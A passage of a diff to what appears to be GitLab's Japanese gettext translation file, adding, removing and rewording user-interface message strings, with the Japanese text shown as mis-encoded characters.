msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "開発ライフサイクルã®æ®µéšŽ"
-
msgid "The pipeline has been deleted"
msgstr "パイプラインã¯å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "パイプラインスケジュールã¯æŒ‡å®šã®ãƒ–ランãƒã¾ãŸã¯ã‚¿ã‚°ã«å¯¾ã—ã¦è‡ªå‹•çš„ã«ãƒ‘イプラインを実行ã—ã¾ã™ã€‚計画済ã¿ãƒ‘イプラインã¯ãれらã®ç´ä»˜ã‘られãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ãƒ—ロジェクトã¨åŒã˜æ¨©é™ã‚’継承ã—ã¾ã™ã€‚"
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "計画ステージã§ã¯ã€èª²é¡Œã‚¹ãƒ†ãƒ¼ã‚¸ã«ç™»éŒ²ã•ã‚Œã¦ã‹ã‚‰ãƒ—ッシュã•ã‚ŒãŸæœ€åˆã®ã‚³ãƒŸãƒƒãƒˆæ™‚刻ã¾ã§ã®æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚最åˆã®ã‚³ãƒŸãƒƒãƒˆãŒãƒ—ッシュã•ã‚Œã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "クライアント証明書ãŒæä¾›ã•ã‚Œã‚‹ã¨ãã«ä½¿ç”¨ã™ã‚‹ç§˜å¯†éµã€‚ã“ã®å€¤ã¯æš—å·åŒ–ã—ã¦ä¿å­˜ã•ã‚Œã¾ã™ã€‚"
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "レビューステージã¨ã¯ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’作æˆã—ã¦ã‹ã‚‰ãƒžãƒ¼ã‚¸ã™ã‚‹ã¾ã§ã®æ™‚é–“ã§ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã¯æœ€åˆã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒãƒžãƒ¼ã‚¸ã•ã‚ŒãŸã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,12 +32372,12 @@ msgstr "スニペットã¯ãƒ—ロジェクトメンãƒãƒ¼ã ã‘ãŒè¦‹ã‚Œã¾ã™ã€‚
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
+msgid "The source branch will be deleted"
+msgstr ""
+
msgid "The specified tab is invalid, please select another"
msgstr "指定ã—ãŸã‚¿ãƒ–ã¯ç„¡åŠ¹ã§ã™ã€‚別ã®ã‚¿ãƒ–ã‚’é¸æŠžã—ã¦ãã ã•ã„"
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "ステージングステージã§ã¯ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒãƒžãƒ¼ã‚¸ã•ã‚Œã¦ã‹ã‚‰ã‚³ãƒ¼ãƒ‰ãŒãƒ—ロダクション環境ã«ãƒ‡ãƒ—ロイã•ã‚Œã‚‹ã¾ã§ã®æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã¯æœ€åˆã«ãƒ—ロダクションã«ãƒ‡ãƒ—ロイã—ãŸã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
-
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "テスティングステージã§ã¯ã€GitLab CI ãŒé–¢é€£ã™ã‚‹ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®å„パイプラインを実行ã™ã‚‹æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã¯æœ€åˆã®ãƒ‘イプラインãŒå®Œäº†ã—ãŸã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã«åŽé›†ã•ã‚ŒãŸãƒ‡ãƒ¼ã‚¿æ¯Žã®æ™‚é–“"
@@ -32606,9 +32399,6 @@ msgstr "アップデート㯠%{number_of_minutes} 分後ã«ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "利用状æ³ã®é€ä¿¡ãŒç„¡åŠ¹ã«ãªã£ã¦ãŠã‚Šã€ã“ã®ãƒ•ã‚©ãƒ¼ãƒ ã§ã¯è¨­å®šã§ãã¾ã›ã‚“。"
-
msgid "The user is being deleted."
msgstr "ユーザーを削除中ã§ã™ã€‚"
@@ -32627,9 +32417,6 @@ msgstr "éžæœ‰åŠ¹åŒ–ã—よã†ã¨ã—ã¦ã„るユーザーã¯éŽåŽ» %{minimum_inac
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "得られãŸä¸€é€£ã®ãƒ‡ãƒ¼ã‚¿ã‚’å°ã•ã„é †ã«ä¸¦ã¹ãŸã¨ãã«ä¸­å¤®ã«ä½ç½®ã™ã‚‹å€¤ã€‚例ãˆã°ã€3, 5, 9 ã®ä¸­å¤®å€¤ã¯ 5。3, 5, 7, 8 ã®ä¸­å¤®å€¤ã¯ (5+7)/2 = 6。"
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr "ã‚ãªãŸã®ãƒ‡ãƒã‚¤ã‚¹ã¨ã®é–“ã«é€šä¿¡éšœå®³ãŒç™ºç”Ÿã—ã¦ã„ã¾ã™ã€‚"
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "ユーザーã®ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティカレンダーã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -32969,6 +32756,9 @@ msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžãƒ‡ãƒ¼ã‚¿ã‚’å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™º
msgid "There was an error while fetching value stream analytics duration data."
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã®æœŸé–“データをå–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr "reCAPTCHA ã«ã‚¨ãƒ©ãƒ¼ãŒã‚ã‚Šã¾ã—ãŸã€‚ reCAPTCHA ã‚’ã‚‚ã†ä¸€åº¦å®Ÿæ–½ã—ã¦ãã ã•ã„。"
@@ -33002,8 +32792,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "サードパーティã®ã‚¢ãƒ—リã®ç”³ã—出"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "ã“ã® %{issuableDisplayName} ã¯ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã¾ã™ã€‚プロジェクトメンãƒãƒ¼ ã ã‘ãŒã‚³ãƒ¡ãƒ³ãƒˆã§ãã¾ã™ã€‚"
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr "ã“ã®ãƒãƒ£ãƒ¼ãƒˆã¯è¡¨ç¤ºã§ãã¾ã›ã‚“"
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr "ã“ã®ãƒ‡ãƒã‚¤ã‚¹ã¯æœªã ç™»éŒ²ã•ã‚Œã¦ã„ã¾ã›ã‚“。"
msgid "This diff is collapsed."
msgstr "ã“ã®å·®åˆ†ã¯æŠ˜ã‚ŠãŸãŸã¾ã‚Œã¦ã„ã¾ã™ã€‚"
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr "ã“ã®å·®åˆ†ã¯ .gitattributesã®ã‚¨ãƒ³ãƒˆãƒªã«ã‚ˆã£ã¦æŠ‘制ã•ã‚Œã¾ã—ãŸã€‚"
-
msgid "This directory"
msgstr "ディレクトリ"
@@ -33224,7 +33014,7 @@ msgstr "ã“ã‚Œã¯ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«ãƒ­ã‚°ã‚¤ãƒ³ã—ãŸãƒ‡ãƒã‚¤ã‚¹ã®
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr "GitHub リãƒã‚¸ãƒˆãƒªã«æŽ¥ç¶šã™ã‚‹ã«ã¯ã€GitLab ãŒã‚ãªãŸã® Git
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "SVN リãƒã‚¸ãƒˆãƒªã«æŽ¥ç¶šã™ã‚‹ã¨ãã¯ã€%{svn_link} ã‚’ã”確èªãã ã•ã„。"
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "内部ユーザーを定義ã™ã‚‹ãŸã‚ã«ã¯ã€å…ˆã«æ–°è¦ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’外部ユーザーã«è¨­å®šã§ãるよã†ã«ã—ã¾ã™ã€‚"
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr "Azureã€Oktaã€Oneloginã€Ping Identyã€ã¾ãŸã¯ã‚«ã‚¹ã‚¿ãƒ  SAML 2.0 ã
msgid "To set up this service:"
msgstr "ã“ã®ã‚µãƒ¼ãƒ“スをセットアップã™ã‚‹ãŸã‚:"
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr "所属ã™ã‚‹ã‚°ãƒ«ãƒ¼ãƒ—ã®ãƒ—ロジェクトã”ã¨ã®é€šçŸ¥ãƒ¬ãƒ™ãƒ«ã‚’指定ã™ã‚‹ã«ã¯ã€ãƒ—ロジェクトページã«ã‚¢ã‚¯ã‚»ã‚¹ã—ã€ãã“ã§é€šçŸ¥ãƒ¬ãƒ™ãƒ«ã‚’変更ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -34150,9 +33943,18 @@ msgstr ":%{name}: 絵文字リアクションをトグル。"
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "明日"
@@ -34165,6 +33967,9 @@ msgstr "有効ã«ãªã£ã¦ã„ã‚‹åå‰ç©ºé–“ãŒå¤šã™ãŽã¾ã™ã€‚コンソール
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "有効ã«ãªã£ã¦ã„るプロジェクトãŒå¤šã™ãŽã¾ã™ã€‚コンソールã¾ãŸã¯APIを使用ã—ã¦ç®¡ç†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr "トピック (ä»»æ„)"
@@ -34213,6 +34018,15 @@ msgstr "トレーシング"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "プロジェクトãŠã‚ˆã³ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³å…¨ä½“ã§ã€ãƒ†ãƒ¼ãƒžã‚’共有ã™ã‚‹ã‚¤ã‚·ãƒ¥ãƒ¼ã®ã‚°ãƒ«ãƒ¼ãƒ—を追跡"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "クイックアクションã§ä½œæ¥­æ™‚間を記録"
@@ -34691,12 +34505,6 @@ msgstr "残念ãªãŒã‚‰ã€GitLab ã¸ã®ãƒ¡ãƒ¼ãƒ«å‡¦ç†ã¯ã§ãã¾ã›ã‚“ã§ã—ã
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr "アンインストール"
-
-msgid "Uninstalling"
-msgstr "アンインストール中"
-
msgid "Units|ms"
msgstr "ms"
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr "ジョブã®ã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ«ã‚’解除"
@@ -34937,9 +34730,6 @@ msgstr "æ›´æ–°ã—ã¾ã—ãŸ"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "%{updated_by} ã«ã‚ˆã£ã¦%{updated_at} ã«æ›´æ–°"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr "%{link_start} スコープã®ãƒ©ãƒ™ãƒ«ã‚»ãƒƒãƒˆ%{link_end} を作æˆã™ã
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr "ユーザーã¯æ­£å¸¸ã«ãƒ—ロジェクトã‹ã‚‰å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚
msgid "User was successfully updated."
msgstr "ユーザーを正常ã«æ›´æ–°ã—ã¾ã—ãŸã€‚"
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr "検証ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
msgid "Value"
msgstr "値"
-msgid "Value Stream"
-msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ "
-
msgid "Value Stream Analytics"
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æž"
@@ -35717,9 +35513,15 @@ msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã¯ã€ã‚ãªãŸã®ãƒãƒ¼ãƒ ã®é–‹ç™ºé€Ÿ
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã§ã¯ã€ã‚ãªãŸã®ãƒ—ロジェクトãŒã‚¢ã‚¤ãƒ‡ã‚£ã‚¢ã®æ®µéšŽã‹ã‚‰ãƒ—ロダクション環境ã«ãƒªãƒªãƒ¼ã‚¹ã•ã‚Œã‚‹ã¾ã§ã©ã‚Œãらã„時間ãŒã‹ã‹ã£ãŸã‹ä¿¯çž°ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr "ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã‚’表示ã™ã‚‹ã®ã«å分ãªãƒ‡ãƒ¼ã‚¿ãŒã‚ã‚Šã¾ã›ã‚“。"
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr "GitLab ã®ãƒ‘フォーマンスã«å½±éŸ¿ã™ã‚‹å„種設定。"
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "検証情報"
-
msgid "Verification status"
msgstr "検証ステータス"
@@ -35887,6 +35686,9 @@ msgstr "ダッシュボードã®ãƒ•ãƒ«è¡¨ç¤º"
msgid "View full log"
msgstr " ログã®å…¨ä½“表示"
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "グループラベルを表示"
@@ -35905,9 +35707,6 @@ msgstr "GitLab ã§è¡¨ç¤º"
msgid "View job"
msgstr "ジョブ表示"
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr "ジョブ log ã®è¡¨ç¤º"
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr "プロジェクトを表示"
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "プロジェクトラベルを表示"
@@ -36010,7 +35812,10 @@ msgstr "ä¸æ˜Ž"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr "警告:"
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr "何を探ã—ã¾ã™ã‹?"
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr "パーソナルアクセストークンã®è¨­å®š%{pat_link} ã§æ–°ã—ã„
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "ã“れらã®ã‚°ãƒ«ãƒ¼ãƒ—ã¸ã®å‚加をリクエストã™ã‚‹ã“ã¨ã§ã€ç°¡å˜ã«è²¢çŒ®ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr "セキュリティダッシュボードをCSVレãƒãƒ¼ãƒˆã«ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆã§ãã¾ã™ã€‚"
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr "ã“ã®å¤‰æ›´ã‚’å…ƒã®ãƒ–ランãƒã«å映ã•ã›ã‚‹ãŸã‚ã«ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’é€ä¿¡ã§ãるよã†ã«ãªã‚Šã¾ã—ãŸã€‚"
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr "ç¾åœ¨ã®æ­£ã—ã„パスワードを入力ã—ã¦ãã ã•ã„"
msgid "You must provide your current password in order to change it."
msgstr "パスワードを変更ã™ã‚‹ã«ã¯ã€ç¾åœ¨ã®ãƒ‘スワードを入力ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆãƒ¡ãƒ¼ãƒ«ã¯ã€ç·¨é›†ã‚„マージãªã©ã®Webベースã®æ“作ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr "%{openingTag}グループã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹%{closingTag} ãŒè¨­å®šã•ã‚Œã¦ã„ãªã„å ´åˆã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®é€šçŸ¥ãƒ¡ãƒ¼ãƒ«ã‚’アカウントã®é€šçŸ¥ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr "メインã®ãƒ¡ãƒ¼ãƒ«ã¯ã‚¢ãƒã‚¿ãƒ¼ã®æ¤œå‡ºã«ä½¿ç”¨ã•ã‚Œã¾ã™ã€‚"
-
msgid "Your Projects (default)"
msgstr "プロジェクト(デフォルト)"
msgid "Your Projects' Activity"
msgstr "プロジェクトã®æ´»å‹•"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "公開メールをã‚ãªãŸã®å…¬é–‹ãƒ—ロフィールã«è¡¨ç¤ºã—ã¾ã™ã€‚"
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "SSH éµ (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "ã‚ãªãŸã®To Doリスト"
@@ -37715,12 +37520,18 @@ msgstr "ã‚ãªãŸã®ã‚³ãƒ¡ãƒ³ãƒˆã¯æ›´æ–°ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ ãƒãƒƒãƒˆãƒ
msgid "Your comment will be discarded."
msgstr "コメントã¯ç ´æ£„ã•ã‚Œã¾ã™ã€‚"
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "ダッシュボードをコピーã—ã¾ã—ãŸã€‚%{web_ide_link_start} ã“ã“ã§ç·¨é›† %{web_ide_link_end} ã§ãã¾ã™ã€‚"
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr "デプロイサービスãŒå£Šã‚Œã‚‹ã“ã¨ãŒã‚ã‚Šã¾ã™ã€‚åå‰ã‚’変更ã—ãŸå¾Œã§æ‰‹å‹•ã§ã‚µãƒ¼ãƒ“スを修正ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
